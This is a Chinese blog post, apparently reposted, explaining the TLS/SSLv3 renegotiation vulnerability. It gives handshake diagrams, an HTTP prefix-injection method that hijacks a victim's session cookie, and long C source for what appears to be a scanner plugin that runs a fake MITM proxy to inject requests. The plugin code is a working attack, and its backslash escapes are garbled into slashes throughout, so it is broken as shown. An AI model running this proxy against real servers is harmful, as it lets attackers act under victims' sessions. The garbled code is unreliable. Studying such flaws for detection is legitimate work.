简单分析TLS & SSLv3 renegotiation vulnerability

来源:互联网 发布:淘宝查号截图是什么 编辑:程序博客网 时间:2024/06/06 13:14

由于TLS & SSLv3 protocol在描述Renegotiation时存在问题, 使得MITM(man in the middle)攻击成为可能。

 

一般的TLS handshake :

                      Client                                                Server

                                  --------  client hello ------>

                                  <------ server hello -------

                                  <------  certificate  -------

                                  <--- server hello done----

                                  -- client key exchange -->

                                  -- change cipher spec  -->

                                  .............. finished ............>

                                  <-- change cipher spec --

                                  <............ finished ............

 

                   application data (GET /secure HTTP/1.1/r/n

                                  ----------------------------->

 

需要客户证书的TLS handshake (理想情况)

                      Client                                                Server

                                  --------  client hello ------>

                                  <------ server hello -------

                                  <------  certificate  -------

                                  <--- certificate request --

                                  <--- server hello done----

                                  -------- certificate -------->

                                  -- client key exchange -->

                                  ----- certificate verify ---->

                                  -- change cipher spec  -->

                                  .............. finished ............>

                                  <-- change cipher spec --

                                  <............ finished ............

 

                   application data (GET /secure HTTP/1.1/r/n

                                  ----------------------------->

 

需要客户证书的TLS handshake (普遍情况)

                       Client                                                Server

                                  --------  client hello ------>

                                  <------ server hello -------

                                  <------  certificate  -------

                                  <--- server hello done----

                                  -- client key exchange -->

                                  -- change cipher spec  -->

                                  .............. finished ............>

                                  <-- change cipher spec --

                                  <............ finished ............

 

                                  GET /secure HTTP/1.1/r/n

                                  ----------------------------->

                                 <------ hello request ------- server initiated renegotiation

                                 -------- client hello ---------

                                 <------ server hello --------

                                 <------- certificate ---------

                                 <--- certificate request ---

                                 <---- server hello done ----

                                 --------- certificate -------->

                                 --- client key exchange --->

                                 ----- certificate verify ----->

                                 --- change cipher spec --->

                                 ............... finished .............>

                                 <--chage  cipher spec -----

                                 <............. finished .............

 

                                          HTTP /1.1 OK

                                  <----------------------------

 

MITM:

                        Client                                      Middle                                           Server

                                                                            |

                        |    --------- client hello ------>    |       --------  client hello ------>        |

                        |                                                   |       <------ server hello -------         |

                        |                                                   |       <------  certificate  -------          |

                        |                                                   |       <--- server hello done----         |

                        |                                                   |       -- client key exchange -->        |

                        |                                                   |       -- change cipher spec  -->        |

                        |                                                   |       .............. finished ............>        |

                        |                                                   |       <-- change cipher spec --         |

                        |                                                   |       <............ finished .............         |

                        |                                                   |                                                           |

                        |                                                   |  POST /secure/evil.html HTTP/1.1  |

                        |                                                   |        ----------------------------->        |

                        |                                                   |                                                           |

                        |                                                   |       <------ hello request -------        |    server initiated renegotiation

                        |          replay  ......................>     |       -------- client hello -------->       |

                        |   <------ server hello --------     |       <------ server hello --------        |

                        |   <------- certificate ---------    |       <------- certificate ---------        |

                        |   <--- certificate request ---     |       <--- certificate request ---        |

                        |   <---- server hello done ----    |       <---- server hello done ----      |

                        |   --------- certificate -------->   |       --------- certificate -------->      |

                        |   --- client key exchange -->    |       --- client key exchange --->     |

                        |  ----- certificate verify ----->    |       ----- certificate verify ----->     |

                        |  --- change cipher spec --->    |       --- change cipher spec --->     |

                        |  ............. finished ...............>    |       ............... finished .............>     |

                        |   <--chage  cipher spec -----    |       <--chage  cipher spec -----      |

                        |   <............. finished .............     |       <............. finished .............       |

                        |                                                                                                              |

                        |                                        HTTP /1.1 OK                                               |

                        |   <----------------------------------------------------------------------       |

                        |                            GET /secure HTTP/1.1                                             |

                        |   ----------------------------------------------------------------------->      |

 

我们也可以让客户端发送client hello来引起 TLS Renegotiation

 

攻击方法1:  注入HTTP Command在HTTPS交互中

       我们可以使用HTTP的pipeline和利用X-ignore来注入HTTP Command.

       例如: 

              客户端通过代理请求GET https://www.example.com/secure.html时,

              代理在收到客户端的请求后,  先发送 POST https://www.example.com/evil.html

              然后转发客户端的请求(引起TLS Renegotiation)

              过程如下:

                    1.       Client  ----- CONNECT www.example.com:443 -----> Proxy

                    2.       Proxy  ----------------------------------------------------->  Server

                                               "POST /evil.html HTTP/1.1/r/n"

                                               "X-ignore:   "

                    3.       Client  ----------------------------------------------------->  Server

                                               "GET /good.html HTTP/1.1/r/n"

                                               ”Host: www.example.com

                                               "Cookie: session=abcdefg/r/n"

                                                .............

                    4.       Client ------------------------------------------------------> Server

                                              HTTP/1.1 200 OK

                                                .......................

                由于HTTP的流特性, Server收到的数据如下:

                                                 POST /evil.html HTTP/1.1

                                                 X-ignore: GET /good.html HTTP/1.1

                                                 Host: www.example.com

                                                 Cookie: session=abcdef

                                                .       ........................

                 所以实际执行的是POST /evil.html

 

代码:

          
#include "plugins.h"
#include <openssl/ssl.h>
#include <openssl/ssl3.h>
#include <sys/wait.h>

#define my_debug(f, m...) // printf(f, ##m),fflush(stdout)

#define for_each_serv_port(job, serv, port) /
    for (port = job_serv_port(job, serv, port); /
        port.num; /
        port = job_serv_port(job, serv, port))

typedef struct {
    SSL *ssl;
    int fd;
    int raw;
} ssl_io_t;

static bool_t _init(rvs_plugin_t *self)
{
    return btrue;
}

extern int
ssl3_read_bytes
    (SSL *s, int type, unsigned char *buf, int len, int peek);

extern int
ssl3_write_bytes
    (SSL *s, int type, const void *buf_, int len);

int xread(int fd, unsigned char *buf, size_t len)
{
    int r, rlen;

    rlen = 0;
    while (len > 0) {
    r = read(fd, buf, len);
    if (r == 0)
        break;
    else if (r == -1) {
        my_debug("xread: read() failed -- %s/n", strerror(errno));
        return -1;
    }
    buf += r;
    len -= r;
    rlen += r;
    }

    return rlen;
}

int rec_read(ssl_io_t *io, unsigned char *buf)
{
    int r, l;

#if 0
    fprintf(stderr, "rec read %s/n",
        io->raw & 1 ? "raw" : "cooked");
#endif
    if (io->raw & 1) {
    r = xread(io->fd, buf, 5);

    if (r == -1) {
        my_debug("rec_read: xread() failed/n");
        return -1;
    }

    if (r == 0)
        return 0;
    else if (r != 5) {
        my_debug("rec_read: read1");
        return -1;
    }

    if (buf[0] != 0x80)
        l = (buf[3] << 8) + buf[4];
    else {
        /* ssl2 hack */
        my_debug("rec_read: ssl2");
        l = (buf[1]) - 3;
    }

    if (l < 0 || l > (1 << 15)) {
        errno = EINVAL;
        my_debug("rec_read: reclen");
        return -1;
    }

    r = xread(io->fd, buf + 5, l);
    if (r != l) {
        my_debug("rec_read: read2");
        return -1;
    }

    l += 5;
    return l;
    }
    else {
    r = ssl3_read_bytes(io->ssl, SSL3_RT_HANDSHAKE, buf + 5, 1<<15, 0);
    if (r == 0)
        return 0;
    else if (r < 0) {
        if (io->ssl->s3->change_cipher_spec) {
        buf[0] = 0x14;
        buf[1] = (io->ssl->version >> 8);
        buf[2] = (io->ssl->version & 0xff);
        buf[3] = 0;
        buf[4] = 1;
        buf[5] = 1;
        io->raw |= 1;
        io->ssl->s3->change_cipher_spec = 0;
        return 6;
        }
        my_debug("rec_read: ssl3_read_bytes/n");
        return -1;
    }
    l = r;
    buf[0] = io->ssl->s3->rrec.type;
    buf[1] = (io->ssl->version >> 8);
    buf[2] = (io->ssl->version & 0xff);
    buf[3] = (l >> 8);
    buf[4] = (l & 0xff);
    return l + 5;
    }
}

bool_t rec_write(ssl_io_t *io, unsigned char *buf, size_t len)
{
    int r;

#if 0
    fprintf(stderr, "rec write %s/n",
        io->raw & 2 ? "raw" : "cooked");
#endif
    if (io->raw & 2) {
    r = write(io->fd, buf, len);
    if (r != len) {
           my_debug("rec_write: write");
        return bfalse;
    }
    }
    else {
    r = ssl3_write_bytes(io->ssl, buf[0], buf + 5, len - 5);
    if (r < 0) {
        my_debug("rec_write: ssl3_write_bytes");
        return bfalse;
    }
    if (buf[0] == 0x14) {
        io->raw |= 2;
    }
    }

    return btrue;
}

static bool_t setup_ssl_ctx(SSL_CTX **ctx)
{
    OpenSSL_add_ssl_algorithms();
    SSL_load_error_strings();

    *ctx = SSL_CTX_new(SSLv3_client_method());
    if (!*ctx) {
    my_debug("setup_ssl_ctx: SSL_CTX_new() failed/n");
    return bfalse;
    }

    return btrue;
}

static bool_t setup_ssl_io(ssl_io_t *io, SSL_CTX *ctx, int sock, int raw)
{
    SSL *ssl;
    BIO *bio;

    ssl = SSL_new(ctx);
    if (!ssl) {
    my_debug("setup_ssl_io: SSL_new() failed/n");
    return bfalse;
    }

    bio = BIO_new_socket(sock, BIO_NOCLOSE);
    if (!bio) {
    my_debug("setup_ssl_io: BIO_new_socket() failed/n");
    return bfalse;
    }

    SSL_set_bio(ssl, bio, bio);
    SSL_set_connect_state(ssl);
    io->ssl = ssl;
    io->fd = sock;
    io->raw = raw;

    return btrue;
}

static bool_t setup_fake_client(int *sock, char *ip, int port)
{
    struct sockaddr_in sa;
    int s, r;

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s == -1) {
    my_debug("setup_fake_client: socket() failed -- %s/n", strerror(errno));
    return bfalse;
    }

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = inet_addr(ip);
    sa.sin_port = htons(port);

    r = connect(s, (struct sockaddr *) &sa, sizeof(sa));
    if (r == -1) {
    my_debug("setup_fake_client: connect() failed -- %s/n", strerror(errno));
    return bfalse;
    }
    my_debug("setup_fake_client: proxy connect server %s:%d successfully/n", ip, port);

    *sock = s;
    my_debug("setup_fake_client: set sock = %d/n", s);
    return btrue;
}

/* stolen from ssl_locl.h */
typedef struct ssl3_enc_method {
  int (*enc)(SSL *, int);
  int (*mac)(SSL *, unsigned char *, int);
  int (*setup_key_block)(SSL *);
  int (*generate_master_secret)(SSL *, unsigned char *, unsigned char *, int);
  int (*change_cipher_state)(SSL *, int);
  int (*final_finish_mac)(SSL *, EVP_MD_CTX *, EVP_MD_CTX *, const char *, int, unsigned char *);
  int finish_mac_length;
  int (*cert_verify_mac)(SSL *, EVP_MD_CTX *, unsigned char *);
  const char *client_finished_label;
  int client_finished_label_len;
  const char *server_finished_label;
  int server_finished_label_len;
  int (*alert_value)(int);
} SSL3_ENC_METHOD;

int bogus_change_cipher_state(SSL *ssl, int i)
{
  return 0;
}

#define HTTP_TRICK /
    "GET / HTTP/1.1/r/n"

#define HTTP_GET /
    "HOST: %s/r/n" /
    "/r/n"

static bool_t hack_ssl(ssl_io_t *assl, ssl_io_t *cssl, int pipe_r)
{

    int r, l;
    unsigned char buf[1 << 16];
    // SSL_METHOD *mth;

    my_debug("hack_ssl: call rec_read 1/n");
    r = rec_read(assl, buf);
    if (r <= 0) {
    my_debug("hack_ssl: rec_read -- no i/o/n");
    return bfalse;
    }
    l = r;
    my_debug("hack_ssl: rec_read 1 return %d bytes/n", l);

    if (buf[0] == 0x16 && buf[1] == 3 &&
    (buf[2] == 0 || buf[2] == 1)) {
    cssl->raw = 0;
    my_debug("hack_ssl: protocol signature is ok/n");
    r = SSL_CTX_set_ssl_version
        (cssl->ssl->ctx, buf[2] == 0 ?
        SSLv3_client_method() : TLSv1_client_method());
    my_debug("hack_ssl: set SSL version ok/n");
    if (r != 1) {
        my_debug("hack_ssl: SSL_CTX_set_ssl_version/n");
        return bfalse;
    }
    my_debug("clear client SSL/n");
    r = SSL_clear(cssl->ssl);
    if (r != 1) {
        my_debug("hack_ssl: SSL_clear/n");
        return bfalse;
    }
    my_debug("clear client SSL ok/n");
    my_debug("SSL_connect/n");
    r = SSL_connect(cssl->ssl);
    if (r != 1) {
        my_debug("hack_ssl: SSL_connect/n");
        return bfalse;
    }
    my_debug("SSL_connect ok/n");
    /* ssl3_setup_buffers(io->ssl);
    ssl_get_new_session(io->ssl, 0); */

    r = SSL_write(cssl->ssl, HTTP_TRICK, sizeof(HTTP_TRICK) - 1);
    if (r != sizeof(HTTP_TRICK) - 1) {
        my_debug("hack_ssl: SSL_write/n");
        return bfalse;
    }
    my_debug("hack_ssl: SSL_write /n%s/n(%d) to server/n", HTTP_TRICK, sizeof(HTTP_TRICK) - 1);
    cssl->ssl->in_handshake++;
    cssl->ssl->method->ssl3_enc->change_cipher_state = bogus_change_cipher_state;
    }
    else {
    /* schedule suicide */
    my_debug("hack_ssl: suicide/n");
    return bfalse;
    }

    rec_write(cssl, buf, l);
    return btrue;
}

static bool_t ssl_exchange_io(ssl_io_t *assl, ssl_io_t *cssl, int pipe_r)
{
    ssl_io_t *ssls[2];
    int maxfd, active;
    int i, r, l;
    fd_set fdr;
    unsigned char buf[1 << 16];

    ssls[0] = assl;
    ssls[1] = cssl;
    active = 3;
    maxfd = 0;
    for (i = 0; i < 2; i++)
    if (ssls[i]->fd >= maxfd)
        maxfd = ssls[i]->fd + 1;

    while (active) {
    FD_ZERO(&fdr);
    for (i = 0; i < 2; i++)
        if (active & (1 << i))
        FD_SET(ssls[i]->fd, &fdr);
    FD_SET(pipe_r, &fdr);
    r = select(maxfd, &fdr, NULL, NULL, NULL);
    if (r == -1) {
        my_debug("ssl_exchange_io: select() failed -- %s/n", strerror(errno));
        return bfalse;
    }
    if (FD_ISSET(pipe_r, &fdr)) {
        my_debug("ssl_exchange_io: pipe from parent is ready/n");
        return bfalse;
    }
    for (i = 0; i < 2; i++) {
        if (active & (1 << i) && FD_ISSET(ssls[i]->fd, &fdr)) {
        r = rec_read(ssls[i], buf);
        if (r == 0) {
            shutdown(ssls[i]->fd, SHUT_RD);
            shutdown(ssls[1 - i]->fd, SHUT_WR);
            active &= ~(1 << i);
            continue;
        }
        if (r == -1) {
            my_debug("ssl_exchange_io: rec_read() failed/n");
            return bfalse;
        }
        l = r;
        rec_write(ssls[1 - i], buf, l);
        }
    }
    }
    return btrue;
}

#define HTTP_OK "HTTP/1.0 200 Connected/r/n/r/n"

static int fake_proxy_attack(SSL_CTX *ctx, int asock, int pipe_r)
{
    struct sockaddr_in sa;
    socklen_t sl;
    struct timeval timeout = { 2, 0 };    // 2 seconds
    fd_set fdr, fdw, fde;
    int max, r;
    int csock;
    char buf[50];
    char server_ip[100];
    int  server_port;
    ssl_io_t assl, cssl;

    sl = sizeof(sa);

    FD_ZERO(&fdr);
    FD_ZERO(&fdw);
    FD_ZERO(&fde);
    max = asock > pipe_r ? asock : pipe_r;
    FD_SET(asock, &fdr); FD_SET(pipe_r, &fdr);
    FD_SET(asock, &fdw); FD_SET(pipe_r, &fdw);
    FD_SET(asock, &fde); FD_SET(pipe_r, &fde);

    r = select(max + 1, &fdr, &fdw, &fde, &timeout);
    if (r == 0) {
    my_debug("fake_proxy_attack: select() timeout/n");
    return 0;
    }
    else if (r == -1) {
    my_debug("fake_proxy_attack: select() failed -- %s/n", strerror(errno));
    return 0;
    }
    else {
    if (FD_ISSET(pipe_r, &fdr) || FD_ISSET(pipe_r, &fdw) || FD_ISSET(pipe_r, &fde)) {
        my_debug("fake_proxy_attack: pipe_r (%d) from father process is ready/n", pipe_r);
        r = read(pipe_r, buf, sizeof(buf) - 1);
        buf[r] = 0;
        my_debug("fake_proxy_attack: message from father process -- %s/n", buf);
        return -1;
    }
    else {
        int n = read(asock, buf, sizeof(buf) - 1);
        if (n < 0) {
        my_debug("fake_proxy_attack: read() failed -- %s/n", strerror(errno));
        return 0;
        }
        if (n == 0) {
        my_debug("fake_proxy_attack: read NULL -- proxy close connection/n");
        return 0;
        }
        buf[n] = 0;
        my_debug("fake_proxy_attack: read /n/t%sfrom client/n", buf);
        if (sscanf(buf, "CONNECT %99[0-9A-Za-z.-]:%d", server_ip, &server_port) != 2) {
        my_debug("fake_proxy_attack: bad request/n");
        }
        write(asock, HTTP_OK, sizeof(HTTP_OK));
        my_debug("fake_proxy_attack: write /n/t%sto client/n", HTTP_OK);
       
        if (!setup_fake_client(&csock, server_ip, server_port)) {
        my_debug("fake_proxy_attack: setup_fake_client() failed/n");
        return 0;
        }

        if (!setup_ssl_io(&assl, ctx, asock, 3)) {
        my_debug("fake_proxy_attack: setup_ssl_io() for accept socket failed/n");
        return 0;
        }
        my_debug("fake_proxy_attack: setup_ssl_io() for accept socket successful/n");

        if (!setup_ssl_io(&cssl, ctx, csock, 3)) {
        my_debug("fake_proxy_attack: setup_fake_ssl_io() for client socket failed/n");
        return 0;
        }
        my_debug("fake_proxy_attack: setup_ssl_io() for client socket successful/n");

        my_debug("fake_proxy_attack: call hack_ssl/n");
        if (!hack_ssl(&assl, &cssl, pipe_r)) {
        my_debug("fake_proxy_attack: hack_ssl() failed/n");
        return -1;
        }

        my_debug("fake_proxy_attack: call ssl_io_exchange/n");
        if (!ssl_exchange_io(&assl, &cssl, pipe_r)) {
        my_debug("fake_proxy_attack: ssl_ip() failed/n");
        return -1;
        }
    }
    }

    return 1;
}

static void run_fake_proxy(SSL_CTX *ctx, int sock, int pipe_r)
{
    struct sockaddr_in sa;
    socklen_t sl;
    struct timeval timeout = { 2, 0 };    // 2 seconds
    fd_set fdr, fdw, fde;
    int asock;
    int max, r;
    char buf[50];

    sl = sizeof(sa);
    for (;;) {
    FD_ZERO(&fdr);
    FD_ZERO(&fdw);
    FD_ZERO(&fde);
    max = sock > pipe_r ? sock : pipe_r;
    FD_SET(sock, &fdr); FD_SET(pipe_r, &fdr);
    FD_SET(sock, &fdw); FD_SET(pipe_r, &fdw);
    FD_SET(sock, &fde); FD_SET(pipe_r, &fde);

    r = select(max + 1, &fdr, &fdw, &fde, &timeout);
    if (r == 0) {
        my_debug("run_fake_proxy: select() timeout/n");
        return;
    }
    else if (r == -1) {
        my_debug("run_fake_proxy: select() failed -- %s/n", strerror(errno));
        if (errno == EINTR)
        continue;
        return;
    }
    else {
        if (FD_ISSET(pipe_r, &fdr) || FD_ISSET(pipe_r, &fdw) || FD_ISSET(pipe_r, &fde)) {
        my_debug("run_fake_proxy: pipe_r (%d) from father process is ready/n", pipe_r);
        r = read(pipe_r, buf, sizeof(buf) - 1);
        buf[r] = 0;
        my_debug("run_fake_proxy: message from father process -- %s/n", buf);
        return;
        }
        else {
        asock = accept(sock, (struct sockaddr *) &sa, &sl);
        if (asock == -1) {
            my_debug("run_fake_proxy: accept() failed -- %s/n", strerror(errno));
            return;
        }
        my_debug("run_fake_proxy: accepted %s:%d/n", inet_ntoa(sa.sin_addr), ntohs(sa.sin_port));
        if (fake_proxy_attack(ctx, asock, pipe_r) < 0) {
            close(asock);
            return;
        }
        close(asock);
        }
    }
    }
}

static void handle_signal(int sig)
{
    printf("misc_18558: child process receive signal %d/n", sig);
    exit(-1);
}

static bool_t setup_fake_proxy(SSL_CTX *ctx, in_addr_t addr, int port, int *pipe_w)
{
    struct sockaddr_in sa;
    int flag, r, sock;
    int pipe_fds[2];
    pid_t pid;

    if (pipe(pipe_fds) < 0) {
    my_debug("setup_fake_proxy: pipe() failed -- %s/n", strerror(errno));
    return bfalse;
    }

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
    my_debug("setup_fake_proxy: socket() failed -- %s/n", strerror(errno));
    close(pipe_fds[0]);
    close(pipe_fds[1]);
    return bfalse;
    }

    flag = 1;
    r = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag));
    if (r == -1) {
    my_debug("setup_fake_proxy: setsockopt() failed -- %s/n", strerror(errno));
    close(pipe_fds[0]);
    close(pipe_fds[1]);
    close(sock);
    return bfalse;
    }

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = addr;
    sa.sin_port = htons(port);

    r = bind(sock, (struct sockaddr *) &sa, sizeof(sa));
    if (r == -1) {
    my_debug("setup_fake_proxy: bind() failed -- %s/n", strerror(errno));
    close(pipe_fds[0]);
    close(pipe_fds[1]);
    close(sock);
    return bfalse;
    }

    my_debug("setup_fake_proxy: socket (%d) bind to %s:%d/n", sock,
                                        inet_ntoa(*(struct in_addr *) &addr),
                        port);

    r = listen(sock, 5);
    if (r == -1) {
    my_debug("setup_fake_proxy: listen() failed -- %s/n", strerror(errno));
    close(pipe_fds[0]);
    close(pipe_fds[1]);
    close(sock);
    return bfalse;
    }

    pid = fork();
    if (pid == -1) {
    my_debug("setup_fake_proxy: fork() failed -- %s/n", strerror(errno));
    close(pipe_fds[0]);
    close(pipe_fds[1]);
    close(sock);
    return bfalse;
    }

    // Child process
    if (pid == 0) {
    signal(SIGINT,  handle_signal);
    signal(SIGTERM, handle_signal);
    signal(SIGHUP,  handle_signal);
    signal(SIGSEGV, handle_signal);
    signal(SIGABRT, handle_signal);
    signal(SIGPIPE, handle_signal);
    my_debug("setup_fake_proxy: child process is running/n");
    close(pipe_fds[1]);
    run_fake_proxy(ctx, sock, pipe_fds[0]);
    close(sock);
    my_debug("setup_fake_proxy: child process exits/n");
    exit(0);
    }
    else {
    my_debug("setup_fake_proxy: create a new process (%d) successfully/n", pid);
    *pipe_w = pipe_fds[1];
    close(pipe_fds[0]);
    close(sock);
    return btrue;
    }
}

static bool_t can_mitm_attack(SSL_CTX *ctx, in_addr_t proxy_addr,  int proxy_port,
                                        in_addr_t server_addr, int server_port)
{
    struct sockaddr_in sa;
    int sock;
    char buf[1024];
    int n;
    SSL *ssl;
    BIO *bio;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
    my_debug("can_mitm_attack: socket() failed -- %s/n", strerror(errno));
    return bfalse;
    }

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = proxy_addr;
    sa.sin_port = htons(proxy_port);

    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
    my_debug("can_mitm_attack: connect() failed -- %s/n", strerror(errno));
    close(sock);
    return bfalse;
    }
    my_debug("can_mitm_attack: connected proxy %s:%d/n", inet_ntoa(sa.sin_addr), proxy_port);
    snprintf(buf, sizeof(buf), "CONNECT %s:%d/r/n/r/n", inet_ntoa(*(struct in_addr *)&server_addr), server_port);
    write(sock, buf, strlen(buf));
    my_debug("can_mitm_attack: write /n/t%sto proxy/n", buf);

    /* read from proxy */
    if ((n = read(sock, buf, sizeof(buf) - 1)) <= 0) {
    if (n == -1)
        my_debug("can_mitm_attack: read() failed -- %s/n", strerror(errno));
    else
        my_debug("can_mitm_attack: read timeout from proxy/n");
    close(sock);
    return bfalse;
    }
    buf[n] = 0;
    my_debug("can_mitm_attack: read /n/t%s(%d) from proxy/n", buf, n);

    ssl = SSL_new(ctx);
    if (!ssl) {
    my_debug("can_mitm_attack: SSL_new() failed/n");
    close(sock);
    return bfalse;
    }

    bio = BIO_new_socket(sock, BIO_NOCLOSE);
    if (!bio) {
    my_debug("can_mitm_attack: BIO_new_socket() failed/n");
    close(sock);
    SSL_free(ssl);
    return bfalse;
    }

    SSL_set_bio(ssl, bio, bio);
    SSL_set_connect_state(ssl);

    n = SSL_connect(ssl);
    if (n != 1) {
    close(sock);
    SSL_free(ssl);
    my_debug("can_mitm_attack: SSL_connect() failed/n");
    return bfalse;
    }

    snprintf(buf, sizeof(buf), "Host: %s/r/n/r/n", inet_ntoa(*(struct in_addr *)&server_addr));
    n = SSL_write(ssl, buf, strlen(buf));
    if (n != strlen(buf)) {
    close(sock);
    SSL_free(ssl);
    my_debug("can_mitm_attack: SSL_write() failed/n");
    return bfalse;
    }
    my_debug("can_mitm_attack: write /n%s/n(%d) to server/n", buf, strlen(buf));

    n = SSL_read(ssl, buf, sizeof(buf) - 1);
    if (n == -1) {
    close(sock);
    SSL_free(ssl);
    my_debug("can_mitm_attack: SSL_read() failed/n");
    return bfalse;
    }
    else if (n == 0) {
    close(sock);
    SSL_free(ssl);
    my_debug("can_mitm_attack: SSL_read() read NULL/n");
    return bfalse;
    }

    buf[n] = 0;
    my_debug("can_mitm_attack: SSL_read/n%s/n(%d) from server/n", buf, n);

    close(sock);
    SSL_free(ssl);

    if (rvs_reg("^HTTP/1//.[01]", buf) && !rvs_reg("^HTTP/1//.1[01] 400", buf))
    return btrue;

    return bfalse;
}

#define NOTIFY_MSG "CLOSE"

/* To avoid zombie process */
void clear_child_process(int sig)
{
    printf("Child process %d exit/n", wait(NULL));
}

static int _run(job_t *job)
{
    static int count = 0;
    void (*default_rvs_sigchld_handle)(int);
    port_t port = { btrue, 0 };
    in_addr_t proxy_addr  = job_local_addr(job);
    in_addr_t server_addr = job_peer_addr(job);
    int proxy_port, server_port;
    SSL_CTX *ctx;
    int pipe_w;

    if (!setup_ssl_ctx(&ctx))
    return 0;

    if (count == 0) {
    default_rvs_sigchld_handle = signal(SIGCHLD, clear_child_process);
    if (default_rvs_sigchld_handle != NULL)
        signal(SIGCHLD, default_rvs_sigchld_handle); // restore
    }

    // calculate the the value of proxy port
    proxy_port = 54321 + count++;

    // fork a new process to run fake proxy (MITM)
    if (!setup_fake_proxy(ctx, proxy_addr, proxy_port, &pipe_w)) {
    SSL_CTX_free(ctx);
    return 0;
    }

    for_each_serv_port(job, SERV_https, port) {
    if (job_port_stat(job, port) != STAT_port_open)
        continue;

    server_port = port.num;
    if (can_mitm_attack(ctx, proxy_addr, proxy_port, server_addr, server_port)) {
        my_debug("misc_18558: %s:%d is vuln to MITM/n", job_peer_name(job), port.num);
        job_port_vuln_set(job, port, 18558, 0);
    }
    }

    send(pipe_w, NOTIFY_MSG, sizeof(NOTIFY_MSG), MSG_NOSIGNAL);
    close(pipe_w);
    SSL_CTX_free(ctx);

    return 0;
}

 

NOTE:

        同步问题, 要保证当前 (线程) 退出后,其fork()出来的进程也马上退出。 (使用管道解决)

        使用SIGCHLD和wait来避免子进程变为僵尸进程(zombie)

 

参考:

        http://extendedsubset.com/Renegotiating_TLS.pdf

原创粉丝点击